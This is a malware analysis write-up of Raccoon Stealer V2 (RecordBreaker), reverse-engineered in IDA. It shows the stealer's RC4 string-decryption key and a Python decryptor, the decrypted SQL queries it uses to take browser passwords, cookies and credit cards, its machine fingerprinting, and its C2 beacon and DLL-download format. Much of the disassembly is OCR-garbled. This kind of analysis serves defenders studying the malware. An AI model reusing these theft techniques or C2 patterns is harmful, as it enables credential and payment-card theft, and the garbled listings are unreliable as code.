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Raccoon Stealer V2 (or RecordBreaker) Is a stealer that provided as a service with about 200$/m. It is a new version of
Raccoon stealer that appeared in 2019 and died for a while then it returns with this new Stealer which known as
RecordBreaker.

It Comes with a lot of capabilities, It can grab a lot of sensitive information like :

Steal Victim System information

Steal Victim Username and passwords stored in the browser
Steal Victim Browser’s Autofill Information

Steal Credit Card information

Steal Crypto wallets Information

Steal Bitcoin Wallets

Grab any file from the victim system

Take Screenshots from the victim system

L ® NP AN

Load next stage

First we start with basic analysis, using Detect it easy we see that the file seems to be not packed. Exploring the strings tab,
we see a lot of base64 encoded strings and two registry keys SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall and
SOFTWARE\Microsoft\Cryptography

Strings

trying to encode the base64 strings will produce encrypted data so i think thats all with basic insights about the executable
and lets upload the sample to IDA (and ghidra for decompiling)

Dynamically resolving DLLs and APIs

In the entry function we see two function calls at the very beginning to sub_401000 and sub_404036 . by navigating to
sub_401000 we see that this function resolve the required APIs
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.text:08401006 push offset LibFileName ; "kernel32.dll”

Ltext:ee401688 call ds:LoadLibraryk

Ltext:ee481611 mov [ebp+hModule], eax

Ltext:ee481814 test eax, eax

Ltext:ee4081616 jz exit

Ltext:ee48161C push ebx

Ltext:ee48101D push esi

Ltext:e848101E mov esi, ds:GetProciddress

Ltext:eed1624 push edi

Ltext:ee4081825 push offset ProcName ; "LoadLibrarywW”

Ltext:eeda182a push eax ; hModule

Ltext: 98481026 call esi ; GetProcAddress

Ltext:ee48182D push offset aShlwapiDll ; "Shlwapi.dll”

Ltext:ee4n1a32 mov _LoadLibraryl, eax

Ltext:eed4e1a37 call eax

Ltext 884081839 mov ecx, _LoadlLibraryl

Ltext:ee48103F mov ebx, eax

Ltext:ee4a1841 push offset a0le32D11 ; "0le32.d11"

Ltext 884081846 call ecx ; _LoadlLibraryid

Ltext 884081843 mov ecx, _LoadlLibraryl

Ltext:ee48184E push offset aWininetDll ; "WinInet.dll"

Ltext 884081853 mov [ebp+_ole32], eax

Ltext 884081856 call ecx ; _LoadlLibraryid

Ltext 804081858 mov ecx, _LoadlLibraryl

Ltext:ee408185E push offset aAdvapi32Dll_@ ; "Advapi3z.dll”

Ltext 84081863 mov [ebp+_winInet], eax

Ltext: 884081866 call ecx ; _LoadlLibraryid

Ltext 804081863 mov ecx, _LoadlLibraryl

Ltext:ee4a186E push offset alUser32D11 ; "User32.dll”

Ltext:ee4a1ads mov [ebp+_AdvAPI], eax

Ltext:ee4a1a7s call ecx ; _Loadlibraryid

Ltext:ee4a1a73 mov ecx, _LoadlLibraryl

Ltext:ee4alave push offset aCrypt32D11 ; "Crypt32.d11"

Ltext:ee4a1as3 mov [ebp+_user3z], eax

Ltext:ee401836 call ecx ; _Loadlibraryid

Ltext:ee401853 mov ecx, _LoadlLibraryl

Ltext:ee4al1asE push offset aShell32D11 ; "Shell32.d11"

Ltext:ee4alads mov [ebp+_crypt32], eax

Ltext:ee4a1a9s call ecx ; _Loadlibraryid

Ltext:ee4a1a93 push offset aBcryptDll ; "Bcrypt.dll”
dll loaded

After going back to to the entry function, After resolving the APIs there is another function call sub_404036 . This function
takes a pattern that seems to be decrypting the data. The sequence is a call to sub_00401806 that calls
CryptStringToBinaryA after calling LstrLenA . The call to CryptStringToBinaryA takes athe dwFlags parameter
0x00000001 (CRYPT_STRING_BASE64) which decode the string using base64 encoding routine and returns a byte array
contains the base64-decoded encrypted data.

.text: 00484036 |

Ltext:0e484836 decrypt_strings proc near ; CODE XREF: start+1lip
Ltext: 88484036
.text:00484836 tmp_ptr = dword ptr -4
Ltext: 88484036

4 text:00484836 push ebp
Ltext:eed484837 mov ebp, esp
Ltext:0e484830 push ecx
Ltext:ee4a4a3A and [ebp+tmp_ptr], @
Ltext:0e48483E lea edx, [ebp+tmp_ptr]
Ltext:ee4s4841 push esi )
L text:004040842 push  edi RC4 Decryption key
Ltext: 08484843 mov ecx, offset aFvgmox8c ; "fuQMoxsc” /
Ltext:eed484848 call base64 byte array
Ltext:ee4a484D mov edi, offset aEdinayarossiya ; “edinayarossiya”
Ltext:@e484852 lea ecx, [ebp+imp ptr]
Ltext: 00464855 push edi
Ltext:@e484856 push ecx
Ltext:ea484057 mov esi, offset unk_48E228
Ltext:ee4e4a5C push eax ; byte array
Ltext:eed4e4a50 mov ecx, esi
.text:@e424a85F call RC4_dec
.text:00484064 lea edx, [ebp+tmp_ptr]
Ltext:@e484867 mov dword_4@EBFE, eax
.text: 08484860 mov ecx, offset aBeByjg ; "bESY]
Ltext:eed4e4a71 call base64_byte_array
Ltext: 004846876 push edi
Ltext:eed4e4a77 lea ecx, [ebp+tmp_ptr]
Ltext:00484874 push ecx
Ltext: 00484876 push eax
Ltext:8848487C mov ecx, esi
Ltext:0e48487E call RC4 dec
Jtext: 0484083 lea edx, [ebp+tmp ptr]
Ltext: 00404086 mov dword_4BEBDC, eax

decrypt

after decrypting the string there are calls to sub_0040A59A function that convert the resulting strings to unicode strings by
calling MultiByteToWideChar

to get all the decrypted strings we can use the debugger or by making a script to decrypt them for us
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1 import base64
2 from Crypto.Cipher import ARC4
3
4 strings = [ 'fVQMox8c', 'bE8Yjg==", 'bkoJoy@=", 'LEtihSAW6eunMDV+Aes3rVhACLFoaQM=", ..., '59¢9737264c0b3209d9193b8dedbc127 ", ' XVHMGYV5cH1pvOC
5 key = "edinayarossiya".encode('utf-8")
6
7 for i in strings:
8 cipher = ARC4.new(key)
9 print(cipher.decrypt(base64.b64decode(i.encode('utf-8'))))

the decrypted strings:

1 tlgrm_
2 ews_
3 grbr_
4 %s\tTRUE\t%s\t%s\t%s\t%s\t%s\n
5 URL:%s\nUSR:%s\nPASS:%s\n
6 \t\t%d) %s\n
7 \t- Locale: %s\n
8 \t- 0S: %s\n
9 \t- RAM: %d MB\n
10 \t- Time zone: %c%ld minutes from GMT\n
" \t- Display size: %dx%d\n
12 \t- Architecture: x%d\n
13 \t- CPU: %s (%d cores)\n
14 \t- Display Devices:\n%s\n
15 formhistory.sqlite
16 logins. json
17 \Nautofill.txt
18 \\cookies.txt
19 \\passwords. txt
20 Content-Type: application/x-www-form-urlencoded; charset=utf-8
21 Content-Type: multipart/form-data; boundary=
22 Content-Type: text/plain;
23 User Data
24 wallets
25 wlts_
26 ldr_
27 scrnsht_
28 sstmnfo_
29 token:
30 nss3.dll
31 sqlite3.dll
32 SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion
33 PATH
34 ProductName
35 Web Data
36 sqlite3_prepare_v2
37 sqlite3_open16
38 sqlite3_close
39 sqlite3_step
40 sqlite3_finalize
41 sqlite3_column_text16
42 sqlite3_column_bytes16
43 sqlite3_column_blob
44 SELECT origin_url, username_value, password_value FROM logins
45 SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies
46 SELECT name, value FROM autofill
47 pera
48 Stable
49 SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
50 SELECT fieldname, value FROM moz_formhistory
51 cookies.sqlite
52 machineld=
55 &configld=
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"encrypted_key":
stats_version":"

Content-Type: application/x-object

Content-Disposition: form-data; name="file"; filename="

POST

MachineGuid

image/jpeg

GdiPlus.dll

6di32.d1l

GdiplusStartup

GdipDisposeImage

GdipGetImageEncoders

GdipGetImageEncodersSize

GdipCreateBitmapFromHBITMAP

GdipSaveImageToFile

BitBlt

CreateCompatibleBitmap

CreateCompatibleDC

DeleteObject

GetObjectW

SelectObject

SetStretchBltMode

StretchBlt

SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
NUM:%s\nHOLDER:%s\nEXP:%s/%s\n

A\CC. txt

NSS_Init

NSS_Shutdown

PK11_GetInternalKeySlot

PK11_FreeSlot

PK11_Authenticate

PK11SDR_Decrypt

SECITEM_Freeltem

hostname":"

", "httpRealm":
encryptedUsername":"

,"encryptedPassword" :
", "guid":

Profiles
b"\xee\xefV>\x0c\xb5Ge\xb6, A\xef\x87=g) ' \x99\x0c\xbf7iT\xfd"

b'Ti\x8d\xc8\xf7:\xdc\x9f\xeb\xff\xdc\xef\xb1\x154\xb4*\x00\x87\xd9\xf0q"

as we can see, the last two strings seems not to be decrypted. If we go back the start function we see that the string
59c9737264c0b3209d9193b8dedbc127 is a different key used to decrypt the string XVHmGYV5cH1pvOC@W/cmant1/069aw==and
the decrypted string is

there are some other decryption routines using the same key but the strings are empty.

then, the attacker retrieves the locale name which is <language>-<REGION> and compare it against ru for some reason,

but the flow didn’t changed if it is!

Page 4 of 18



https://d01a.github.io/raccoon-stealer/

Ltext:eadaisva push LOCALE_NAME_MAX_LENGTH
Ltext:ee4a757C lea ecx, [ebp+locale_name]
Ltext:ee4a87582 mav [ebp+var_28], eax
Ltext:ee4a87585 mav eax, _GetUserDefaultlocaleName
Ltext:ee4a7534 push ecx

Ltext:ee487588 call eax ; _GetUserDefaultLocaleName
Ltext:ea487580 test eax, eax

.text:8048758F jz short loc_4875B5

Ltext: 98487591 mow esi, offset off_48EG88 ; "ru”
Ltext:eedaisos

Ltext:884087596 loc_467596: ; CODE XREF: start+12D4j
Ltext: 88487596 push dword ptr [esi]

Ltext:eadaisos mow eax, _StrstrIi

Ltext:ee4a759D lea ecx, [ebp+locale_name]
Ltext:ee487543 push ecx

Ltext:ee4a7s584 call eax ; _Strstriu

Ltext:eada7sAs test eax, eax

Ltext: 88487548 jnz short loc_4875B5

Ltext:ee4875A4 add esi, 4

Ltext:ee4a75aD cmp esi, offset unk_48EB64

Ltext: 88487563 jnz short loc_487596

Ltext:eadaises

.text:88487585 loc_4875B5: ; CODE XREF: start+1@91j

The attacker open a mutex with a name 8724643052 and if it existed, the malware terminate itself and if it is not existed it
creates a mutex with that name.
[ NC k=]

Lfext:eadaises
Ltext:088487585 loc_4@75B5:

Ltext:eaddi?ses mov eax, _OpentMutexid

Ltext:884875BA mov esi, offset ag724643052 ; "8724643052"
Ltext:8@4875BF push esi

text:ee4875C0 xor ebx, ebx

Ltext:ee4875C2 push ebx

Ltext:ee4875C3 push MUTEX_ALL_ACCESS

Jtext:ee487508 call eax ; _OpenMutexid
Lext:ee4075CA test eax, eax
Jtext:ee4875CC jnz short loc_487509

Ltext:884875CE push esi Ltext:08487500

Ltext:884875CF push ebx Ltext:00487509 loc_4875D0:
Ltext:8e487508 push ebx Ltext:80487509 push 2
Ltext:8e487501 call _CreateMutexi Ltext:80487508 call _ExitProcess
Ltext:@e487507 jmp shert loc_4@75E1 I

The next call is to check if the victim running as local system by making a call to GetTokenInformation to retrieve the
token user data that include SID and then check this SID with S-1-5-18 to see if the user is running as a LocalSystem or
not. If it is, the function returns 1 and not returns 0
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Ltext:8848A1E7 push [ebp+return_len]

Ltext:8848A1EA mov eax, _GlobalAlloc

Ltext:B048A1EF push 4sh ; "@°

Ltext:@e48A1F1 call eax ; _GlobalAlloc

Ltext:8048A1F3 mov ecx, _GetTokenInformaticn
Ltext:8848A1F9 mov edi, eax

Ltext:8048A1FB lea eax, [ebpt+return_len]
Ltext:8048A1FE push eax

Ltext:8048A1FF push [ebp+return_len]

Ltext:0048A202 push edi 3 TokenInformaticn
Ltext:00404203 push esi 3 1 -» token user -» SID_AND ATTRIBUTES
Ltext:0040A204 push [ebpt+token_handle]

Ltext:8040A207 call ecx ; _GetTokenInformation
Ltext:ee48/289 test eax, eax

Ltext: 00404208 jz short return_FALSE

Ltext:ee4eA200 and [ebp+str_sID], @

Ltext:8848A211 lea ecx, [ebpt+str_sID]

Ltext:8040A214 mov eax, _ConvertSidToStringSidw
Ltext:00484219 push ecx

Ltext: 88484214 push dword ptr [edi]

Ltext:8848A21C call eax ; _ConvertSidToStringSidw
Ltext:8848A21E test eax, eax

Ltext:8040A220 jz short return_FALSE

Ltext:0048A222 push [ebp+str_sID]

Ltext:8048A225 mov eax, _lstrompiW

Ltext: 88484224 push offset aS1518 ; 5-1-5-18 -» System (LocalSystem)
Ltext:8048A22F call eax ; _lstrcmpiW

Ltext:eed8p231 test eax, eax

Ltext:8048A233 jz short return_TRUE

Ltext:ee48a235 xor esi, esi

Ltext:eed4ea237

Ltext:8848A237 return_TRUE: ; CODE XREF: is_it_system+9B1j
Ltext:8848A237 push edi

Ltext:8048A238 call _GlobalFree

Ltext:@e48A23E mov eax, esi

Ltext:ee404240 jmp short loc_48A244

B L L -
Ltext:eed4an242

Ltext:8848A242 return_FALSE: ; CODE XREF: is_it_system+231j
Ltext:0048A242 ; is_it system+4Dtj

The next few instruction retrieves a decrypted strings: Content-Type: application/x-www-form-urlencoded; charset=utf-
8 and */* then calls a function that formats the input with a given pattern, This function is referenced in a lot of places in

the sample.

xrefs to str_format EI

Directioc Typ: Address

p str_format

p sub_401E26+831 call  str_format
EHu p sub_4052CE+3588 call  str_format
Zlup b sub_40843A+208 call  str_format
EHu p sub_4070DE+280 call  str_format
=] p start+182 call  str_format
= p.. p  sub_4083CE+1E3 call  str_format
. p  sub_408996+3F1 call  str_format
= p.. p sub_4097BE+21A call  str_format
D p sub_409ABE+258E call  str_format
D p sub_40A300+2AD call  str_format
o, p  sub_40AcCFE+134 call str_format

linel nf12

this function format the input string with \r\n appended to it and calls the function that seems to be that does the

formatting procedures and it’s used in so many places
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xrefs to formmating
Directio Type Address Text =
sub_401E26-+1C4
=Eup p  sub_401E26+1D1 call - formmating
o it = [Hup p  sub_%01E26+108 call formmating L
. text:@e40339B EHup p  sub_401E6+IEE call formmating 1
.text:B0405398 Hup p  sub_s01EB+IF2 call formmating
.text:0848839B8 SHup p  sub_401E2E4241 call  formmating
.text:@848839B ; WORD *_ thiscall str_format(int *this) Eup p  sub_a0tE2m4+2 call formmating I |
.text:@848839B str_format proc near Eu p  sub_a0tE264+25 call  formmating
. text: 00468395 mov eax, _Localalloc Euw p sb 4024285 cll formmating
.text:@O4Q83IA0 push  esi (Hu p sb_01E26426F call formmating
. text:Be4033A1 push OFF78h Hup p sub_s01E25428 call formmating
_text:004883a6 push  LPTR Euw p sb_s0iEs+2c8 aal formmating
. text:BR4BB3AB mov esi, ecx EHup p  sub_s01E264202 call - formmating
.text:p@4@83AA call  eax ; _Localalloc Sup p sb_miEss20F call - formmating
.text:@84833AC mov edx, [esi] ; content_type Eu p  sub_s0tE2s4+2E9 call formmating
. text:B804833AE mov ecx, eax Eup p sb 01830 call formmating
.text:00408380 call  formmating Euw p s s+ cal formmating
.text:8@488365 mov edx, offset asc_4@DSE8 ; "\r\n" (Hu p sb 01264343 call  formmating
.text:004883BA mov ecx, eax ; eax = content-type [Hue p  sub_%01E26+350 call  formmating
.text:8048838C call  formmating [Hu p sub_s01E264354 call - formmating
.text:8e4883C1 mov edx, offset asc_48DSF@ ; "\r\n\r\n" EHup p  sub_s0mEas43e9 call formmating
. Text:804B33C6 mov ecx, eax - EHup p  sub_s0iE24643 call - formmating
.text:8B4633C3 pop esi Eup p  sub_401E264850 call  formmating
. text:884633C9 jmp formmating Eup p  sub_t01E25465 call formmating
.text:@84683C9 str_format endp BEup p  sub_s01E254667 <l formmating
. text:004883C9 (Hu p sb 0164671 call formmating
[=lup p  sub_%01E2646C0 call formmating
[Eup p sub_s01E26+6CD call formmating
[Eup p sub_s01E26+607 call formmating
Eup p  sub_s0iE26+6E4 call formmating
EEup p  sub_d01E26+6EE call formmating
EEup p  sub_d01E26+734 call formmating
[Fue p  sub_ 01284747 call formmating
E=iin_n_ eh an1FoRL7st c2ll_formmatinn 3
< I ] »
Line1 of 162

Then the malware make a call to a function sub_0040A720 after allocating two regions in the memory .if we navigate to
this function we see that it first reference the previously allocated memory and the open the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\ and read the value MachineGuid and returns it in EAX register

Ltext:B@4BA726 mov eax, _localAlloc

.text:8848472B push esi ; allocated memory
Ltext:ee48A72C push edi

Ltext:Be48AT2D push 2@8h

.text:88484732 push ash ; '@’

Ltext:0048A734 call eax ; _localAlloc

Ltext:ee48A736 mov ecx, _RegOpenKeyExh

Ltext :8B4BATIC mow edi, eax

Ltext:8048A73E lea eax, [ebp+phkResult]
Ltext:@e4sA741 mov [ebpt+size], le4h

.text:88484748 push eax

Ltext:eedeA74s push 20119h

Ltext :Be4BATAE push 2]

. text: 08484750 push offset aSoftwareMicros_0 ; “"SOFTWARE\\Microsoft\\Cryptography"
Ltext:ee48A755 push HKEY_LOCAL_MACHINE

Ltext :Be4BATSA mov [ebp+type], 1

L text:88484761 call ecx ; _RegOpenkKeyExl
Ltext:eed4eA763 mov ecx, _RegQueryValueExh
Ltext:084BATEI mov esi, eax

.text:08484768 lea eax, [ebp+size]

Ltext:8048A76E push eax

Ltext :BB4BATEF push edi

.text:0840A778 lea eax, [ebp+type]

Ltext: 00408773 push eax

Ltext:0048A774 push a

. text:08484776 push machine GUID 3 MachineGuid
Ltext:8048A77C push [ebp+phkResult]

Ltext:0040A77F call ecx ; _RegQueryValueExi
.text:884BA781 test esi, esi

Ltext 00404783 jnz short fail

LLext:8848A785 test eax, eax

.text:08484787 jz short success

Ltext:eed4eA780

Ltext:0048A789 fail: ; CODE XREF: get_GUID4+631]
. text:08484789 push [ebp+phkResult]

L text:0048A738C call _RegClosekey

Ltexti:eedanayoz

Ltext:884BATO2 success: EAX 004DEEES L"dB874249-72d5-492c-8dBc-5e6d3ac8elz7"
Ltext: 80484792 mov eax, edi |EBX 00000000
Ltext:0048A794 pop edi

then the malware retrieves the username of the current user and makes some formatting to the data before sending it. The

formatted data are some information about the victim machine like:

1 machineId=<GUID>|<username>&confld=<predefined value>
2 machineId=d8874349-72d5-492c-8d8c-5e6d3a68e127 |d@Ta&configld=59c9737264c0b3209d9193b8dedbc127

configld used is the key used to decrypt the C2 IP address . Now, the first piece of data is ready to be sent to the attacker and
the function sub_004079F3 did this. First, the function references the IP of the C2 server and make some comparisons to its
beginning to make sure that it’s in a valid format. Then it gets a pointer to / at the end of the IP address and then make a
call to InternetOpenW("record",0,0,0) it parameter is the User-Agent of the request sent .now it’s ready to connect to the
remote server, so it connects to the remote server over http transfer protocol and port 443, the default for https transfer

protocol
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Ltext:88487AEF mov eax, _InternetOpenid
Ltext:884874AF4 xor ecx, ecx
Ltext:08487AF6 push ecx

Ltext:0B487AF7 push ecx

Ltext:08487AF8 push ecx

Ltext:08487AF0 push ecx

Ltext:00487AFA push offset aRecord ; "record”
Ltext 1 @B487AFF call eax ; _InternetOpeni
.text: 08487861 mov esi, eax
.text:ee487803 mowv [ebptvar_14], esi
.text: 98487886 test esi, esi

Ltext:eada7BEes jz loc_4@7BE2
Ltext:00487B0E push 1

Ltext:88487E168 xor eax, eax
Ltext:ee487812 mov ecx, _InternetConnecti
Ltext:08487818 push eax

Ltext:eadaiBLo push INTERNET_SERVICE_HTTP
.text:08487B18 push eax

Ltext:ee4a781C push eax

Ltext:ee4a7810D push 58h

LJtext:eadaiBLF pop eax

Ltext:ee4a7820 push 73h 3 s’
Ltext:ee4a7822 pop edx

Ltext:ee467823 cmp word ptr [ebp+var_C], dx
Ltext: 88487827 mov edx, 443

Ltext:ee48782C Cmovz eax, edx

.text:80407B2F MOVZX eax, ax

Ltext:ee467832 push eax ; port 443
Ltext:8e4a87633 push edi ; C21IP
Ltext:ee4a7B34 push esi

Ltext:8e4a87835 call ecx ; _InternetConnectid

Then it sends the data to the C2 server set before. The content type sent in the request in the form Content-Type:
application/x-www-form-urlencoded; charset=utf-8\r\n\r\n\r\n and the data sent in the OptionalHeader parameter
which sent after the request headers. And after sending the data it waits for a response from the server. Then it parses the

response for a specific field contain the word Token: if it found it continue running if it is not, it exits.

It search for the 1libs word in the response in order to prepare a legitimate DLL that are required for the malware to run.

the command can be in form:

1 libs_nss3:http://{HOSTADDR}/{RANDOM_STRING}/nss3.d11
2 libs_msvcp140:http://{HOSTADDR}/{RANDOM_STRING}/msvcp140.d11 libs_vcruntime14@:http://{HOSTADDR}/{RANDOM_STRING}/vcruntime140.d11
e |
. text: 08408488 mov ecx, _lstrompiu

.text:884084B6 push offset alibs 5 "libs™
.text:884084B8 push [ebp+var_4]
.text:804084BE call ecx ; _lstrompil

Ltext: 884088400 test eax, eax

Ltext:884084C2 jnz loc_4@85Cce

Then, It retrieves the path of Local AppData C:\Users\d@1a\AppData\Local by calling SHGetFolderPathWl from the

function sub_0040A323 and format it by adding the word Low at the end of the path then it adds the path to sqlite3.dll and
other downloaded DLLs to the PATH environment variables
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SText
SText
SText
SText

The malware collects information about the system through the function call a sub_004097BB , it search for the word

Lfext:
Lfext:
Lfext:
Lfext:
Lfext:
Lfext:
Lfext:
Lfext:
Lfext:
Sfext:
Sfext:
Sfext:
Sfext:
Sfext:
Sfext:
Sfext:
Sfext:
Sfext:

Sfext:
Sfext:
Sfext:
Sfext:
Sfext:
Sfext:
fext:
fext:
fext:
fext:
fext:
fext:
fext:

aada7849
aada7s4r
aa4a7851
Ba4a7856
aada7859
aada785C
aada7se2
aada7868
aada7ael
aa4a786F
aa4a7871
aa4a7876
aa4a7878
aa4a7879
aa4a787F
Ba487885
aa487886
aa4a7880
1 @e4a7s892
1 BB4a7895
1 Be4a7sE97
1 @e4av7s9Cc
aa48789E
aa4a789F
Ba4a78A5
Ba4878AE
aa4a78AC
aa4a7862
28487863
28407864
28487869
2e4878BC
@e4878C1
2e48780C3
28487806

mov
mov
call
push
mov
call
mov
push
push
call
push
mov
push
push
call
mov
mov
call
mov
mov
call
mov
push
push
call
push
call
push
push
call
push
mov
call
mov
test
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edx, sglite3 dll

ecx, eax

formmating
[ebp+AppData_and_machineIld_prev]
[ebptvar_le], eax

_SetCurrentDirectoryl

ecx, _LlocalAlloc

Seaoh

4gh ; '@’

ecx ; _localAlloc

2880h

esi, eax

esi

PATH ; reads the path environment variable

_GetEnvironmentVariablel
edx, semicolon

ecx, esi

formmating ; add ; to the end of it to append ancther thing
edx, [ebpt+AppData_and machineld prev] ; global var contains the path
ecx, eax

formmating |
esi, eax

esi

PATH
_SetEnvironmentVariablel
esi

_LocalFree

ebx

edi

sub_4p97BB

[ebptvar_1@]

eax, _LoadlLibraryl

eax ; _LoadlLibraryl
[ebptvar_14], eax

eax, eax

sstmnfo_ in the response of the C2 Server and the data to be collected is determined in the response, after a colon

a pipe

| between the key words of the data. Then, it begin collecting information about the system:

1. The locale information the data is formatted in the following format - Locale:

Ltext:@e483F28
Ltext:@ed483F2D
Ltext:@e483F2F
Ltext:eedBsril
Ltext:eedBsr3v
Ltext:eedBsr3o
Ltext:eedBsF3E
Ltext:eedasrde
Ltext:eedasrdz
Ltext:eedBsrds
Ltext:eedasras
Ltext:eedBsr4r
Ltext:eedasrse
Ltext:eedBsrs5
Ltext:eed88F5E
Ltext:eeddsrsc
Ltext:eed8sF5E
Ltext:eedBsFsF
Ltext:eed88Fe5
Ltext:eed488F66
.text:8ed4e8F6C
Ltext:eedBsFeF
Ltext:eedasry2
Ltext:eedasrr4
Ltext:eedBsFve
Ltext:eedesF7E
Ltext:eedesryC
Ltext:eedesFvE
Ltext:eed8srs4
Ltext:eed88FE5
Ltext:eed8s8FEE
Ltext:eedasrsC
Ltext:eed88FEE
Ltext:eed8s8FEF
Ltext:eedasroe
Ltext:eedasral
tewt :AALARFA?

push 2@88h

push ash 3 '@

call eax ; _localalloc
mov ecx, _localAlloc
mov ebx, eax

push 486h

push ash ; '@

call ecx ; _Llocalalloc
mov esi, _GetLocaleInfold
mov edi, eax

push 184h

push ebx

push 1881h )
call ds:GetUserDefaultlCID -—— to retneve baalke ID

push eax 3 locale
call esi ; _GetlocaleInfol
push ebx

push locale 3 LPCWSTR -> - Locale: Xs
push edi 5 LPWSTR
call _wsprintfu

mov esi, [ebp+arg_e]

add esp, @Ch

mov edx, edi

mov ecx, [esi]

call formmating

push ebx

mov [esi], eax

call _LocalFree

push edi

call _LocalFree

pop edi

xor eax, eax

pop esi

inc eax

pop ebx

pop ebp

retn 4

2. Time zone information the data is formatted in the form: - Time zone: <%c%]ld> minutes from GMT

3. OS Version retrieves the OS version by reading the registry key SOFTWARE\Microsoft\Windows

NT\CurrentVersion\ProductName and the data formatted in the form: - OS: <%s OS>
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. text :80408FES lea eax, [ebptvar_8]

. text:@8408FEB push eax

Ltext:@@408FEC push edi

. text:@@483FED push esi

. text:@840838FEE push esi

. text :8B4BBFEF push ProductName

. text :00408FF5 push [ebp+var_a]

«text:@@408FF3 call _RegQueryValueExWW ; HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
.text:@@408FFE

.text:@B488FFE loc_4@BFFE: ; CODE XREF: sub_4@8F95+511]
. text :80488FFE push [ebptvar_a]

. text :80409001 call  _RegCloseKey

. text:88409087 mov eax, _lstrlenW

Ltext:@e40900C push edi

. text:ee42000D call eax ; _lstrleniW

. text:8840908F push edi

. text:884089618 test eax, eax

. text:00409012 jg short loc_40981F

Ltext:20409014 call _LocalFree |
Ltext: 00409014 or eax, @FFFFFFFFh

. text:0040961D Jmp shert loc_40984E

SEEXETBBABIBLF 5 - - - oo
. text:BB40901F

.text:@@48991F loc_4@901F: ; CODE XREF: sub_4@88F95+7DT]
.text:@e40901F push F_05 ; LPCWSTR -> - 05: s
. text: 00489025 push ebx 5 LPWSTR

. text:00409026 call  _wsprintfu

. text :8048902C mov esi, [ebp+arg 8]

. text:8840902F add esp, @ch

Ltext:08409032 mov edx, ebx

Ltext:@e409034 mov ecx, [esi]

. text:8840890836 call formmating

. text:88489838 push edi

. text:8040903C mov [esi], eax

4. system Architecture By calling GetSystemWow64DirectoryW that retrieves the path of of the system directory used by
WOWG64 that only exist in x64 Architecture. The data formated in form: - Architecture: x<%d Architecture>

5. RAM status gets the memory status by calling GlobalMemoryStatusEx that retrieves both the virtual and physical
memory usage and format in the form: - RAM: <%d RAM Usage> MB

6. CPU specifications Using instruction cpuid to retrieve the processor specification. This instruction output depends
on the value in the eax register. The call to cpuid with eax = 0x80000002 , 0x80000003 and 0x80000004 gets
Processor Brand String .Also it uses GetSystemInfo API to get the number of processors. And send it in the format:
- CPU: <%s CPU Brand> (<%d Cores number> cores)

Ltext:ee4a9234 mow eax, S0080861h
.text:p8408923F xor ecx, ecx \
Ltext:90409241 push ebx

. text:PB4ng242 cpuid - CPU Brand
Ltext:98409244 mov esi, ebx

Ltext: 88409245 pop ebx

.text:ee489247 lea ebx, [ebp+string2]
Ltext:B94a924A mov [ebx], eax

.text:8e4a924C mow eax, _lstrlenA

Ltext: 88499251 mov [ebx+4], esi

Ltext: 89409254 mov [ebx+8], ecx

Ltext:884089257 mov ecx, ebx

Ltext: 88489259 push ecx

Ltext:ee4a925A mow [ebx+aCh], edx

Ltext:8e4p9250 call eax ; _lstrlend

Ltext:Be48925F push eax ; iMaxLength
.text:8p408926@ mov eax, ebx

Ltext: 88489262 mov ebx, [ebp+lpStringl]

. text:9e409265 push eax 3 lpstring2
Ltext:88489266 lea eax, [ebx+28h]

Ltext: 88489269 push eax ; lpstringl
.text:Bp4BI26A call ds:lstropyna

Ltext:geda027e test eax, eax

Ltext:9e489272 jz short loc_4892C3

Ltext: 80409274 lea eax, [ebp+SystemInfo]
Ltext:B0409277 push eax ; lpSystemInfe
.text:ee489278 call ds:GetsystemInfo
Ltext:B948927E mov esi, [ebp+SystemInfo.dwNumberOfProcessors]
Ltext: 98409281 mov ecx, ebx

Ltext:004p9283 call multi byte_ to_wide_char
Ltext:99409288 mov ebx, [ebpt+var_g8]
.text:88489288 mov edi, eax

Ltext: 89489280 push esi

Ltext:@948928E push edi

Ltext:8048928F push CPU_ 3 LPCWSTR -»> - CPU: Xs (%d cores)
Ltext: 90409205 push ebx ; LPWSTR
.text:88489296 call _wsprintfu

7. Display Get the display information by calling GetSystemMetrics with index O to retrieves The width of the screen
of the primary display monitor and format it in form: - Display size: <%d>x<%d>

8. Display devices - Display Devices: <%s>

9. Display Name And version Get this information from the registry
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall And the Specific GUID to get the display name and
version Then it generate a random value and append it to the content-Type header and save the data to a file to send it

to the attacker C2 server
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Ltext:204898FF push eax
Ltext:ee489900 call get_locale
Ltext:ep489905 lea eax, [ebptarg_e]
Ltext:ep489903 push eax
Ltext:ep489909 call get_timeZone
Ltext:2040990E lea eax, [ebptarg_e]
Ltext:20489911 push eax
Ltext:20489912 call get_os
Ltext:20489917 lea eax, [ebptarg_e]
Ltext:e40991A push eax
Ltext:80469918 call get_architecture
Ltext:20469920 lea eax, [ebptarg_e]
Ltext:00469923 push eax
Ltext:80409924 call get_CPU
Ltext:00469929 lea eax, [ebptarg_e]
Ltext:8e46992C push eax
Ltext:88469920 call get_RAM
Ltext:00469932 lea eax, [ebptarg_e]
Ltext:a8489935 push eax
Ltext:a8489936 call get_display
Ltext:a8489938 lea eax, [ebpt+arg_e]
Ltext:e848993E push eax
Ltext:e848993F call get_display devices
Ltext:a8489944 push [ebp+var_g8]
Ltext:a8489947 lea eax, [ebp+arg_e]
Ltext:ae4a9944 push eax
Ltext:a848994B call display name_wversion
Ltext:ae489950 mow ecx, [ebp+arg_ @]
Ltext:a8489953 lea esi, [ebp+var_28]
Ltext: 88489956 mowv eax, [ebp+var_C]
Ltext:a8489959 lea edi, [ebp+var_38]
Ltext:a848995C mowv [ebp+var_2a], eax
Ltext:a848995F mowv eax, _lstrlenw
Ltext:a8489964 mowv [ebp+var_1C], ecx
Ltext:a8489967 mowv [ebp+var_18], ebx
Ltext:eB4a996A movsd
text:0040999F call  generate_random_wrap
text:@84099A4 push  another_content_type
text:08409920 mov ecx, _StrCpyW ; Content-Type: multipart/forn-data; boundary=<random value>
text:8409980 push
text:00409981 mov [ebptvar_14], eax
text:88460984 call  ecx ; _Strepyl
textions09906 mov edi, [sbpruar_14]
text:00400989 v ecx, eax .
textio0s0990 mov  edx, edi ~eeETTEn e
